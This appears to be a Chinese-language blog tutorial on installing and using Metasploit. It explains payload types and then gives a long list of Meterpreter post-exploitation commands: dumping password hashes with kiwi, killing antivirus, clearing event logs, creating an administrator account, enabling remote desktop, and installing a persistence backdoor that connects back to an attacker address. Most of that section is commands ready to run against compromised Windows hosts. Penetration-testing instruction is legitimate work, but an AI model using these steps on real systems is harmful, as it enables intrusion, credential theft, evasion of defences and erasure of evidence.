安装msf
在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
一键安装
1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall |
#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。
MSF后期的升级:msfupdate
使用方法
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc
进行自动攻击
1 |
|
攻击载荷(payload)
Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode
:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。
Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
Metasploit中的 Payload 模块主要有以下三种类型:
-Single
-Stager
-Stage
Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat这样的非metasploit处理工具所捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage是StagerPayload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
1 | Single Payload的格式为:<target>/ <single> 如:windows/powershell_bind_tcp |
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload
而 windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成
Stager中几种常见的payload
1 | windows/meterpreter/bind_tcp #正向连接 |
正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了
反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信
meterpreter
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工作的?
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过
socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程
默认情况下, Meterpreter的通信是加密的,所以很安全
扩展性,许多新的特征模块可以被加载。
我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter> 之后我们就可以干很多事了
永恒之蓝模块
移步 https://drunkmars.top/2021/05/11/MS17_010%E6%A3%80%E6%B5%8B%E5%8F%8A%E6%89%93%E6%B3%95/
后渗透阶段
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
我们要想从 meterpreter 退出到MSF框架,输入:background
输入: sessions -l 查看我们获得的shell,前面有id
输入: sessions -i 1 即可切换到id为1的shell
输入:shell 即可进入 cmd 类型的控制,再输入:powershell ,即可进入 powershell 类型的控制台
查看目标主机系统信息
sysinfo
查看目标主机详细信息
run scraper
导出密码的哈希
加载mimikatz
1 | load kiwi |
1 |
|
查看目标主机进程信息
1 | ps |
将当前Meterpreter Shell的进程迁移到PID为512的进程上
1 | migrate 512 |
自动迁移进程
1 | run post/windows/manage/migrate |
查看目标当前目录(windows)
1 | pwd |
查看目标当前目录(Linux)
1 | getlwd |
搜索C盘中所有以.jsp为后缀的文件
1 | search -f *.jsp -d c:\ |
将目标机的e:\test.txt文件下载到/root目录下
1 | download e:\test.txt /root |
将/root/test.txt上传到目标机的 d:\test\ 目录
1 | upload /root/test.txt d:\test |
查看当前Meterpreter Shell的进程PID
1 | getpid |
查看主机运行时间
1 | idletime |
查看获取的当前权限
1 | getuid |
提权(Administrator -> system)
1 | getsystem |
关闭杀毒软件
1 | run killav |
截图
1 | screenshot |
启用远程桌面
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui
脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入:run getgui
-e 或者 run post/windows/manage/enable_rdp
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:
idletime
开启远程桌面
1 | run getgui -e |
反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
1 | run persistence -X -i 5 -p 8888 -r 192.168.10.27 |
将192.168.11.13的3389端口转发到本地的3389端口上
1 | portfwd add -l 3389 -r 192.168.11.13 -p 3389 |
清除日志
1 | clearev |
查看主机是否运行在虚拟机上
1 | run post/windows/gather/checkvm |
访问文件系统
1 |
|
运行程序
先查看目标主机安装了哪些应用
1 | run post/windows/gather/enum_applications |
执行文件
execute 参数 -f 可执行文件
1 |
|
创建一个新账号
先查看目标主机有哪些用户
1 | run post/windows/gather/enum_logged_on_users |
接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u hack -p 123
,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
这里成功创建了用户,但是添加到Administrators组中失败了,如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。
权限维持
用msf生成一个后门放到windows的启动目录中
1 | C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
socks代理&portfwd端口转发
导入并执行PowerShell脚本
1 | load powershell #加载powershell功能 |
加载stdapi
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
升级session
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。
我们可以执行命令sessions -u id 来升级session。
执行该命令,默认调用的是post/multi/manage/shell_to_meterpreter 模块。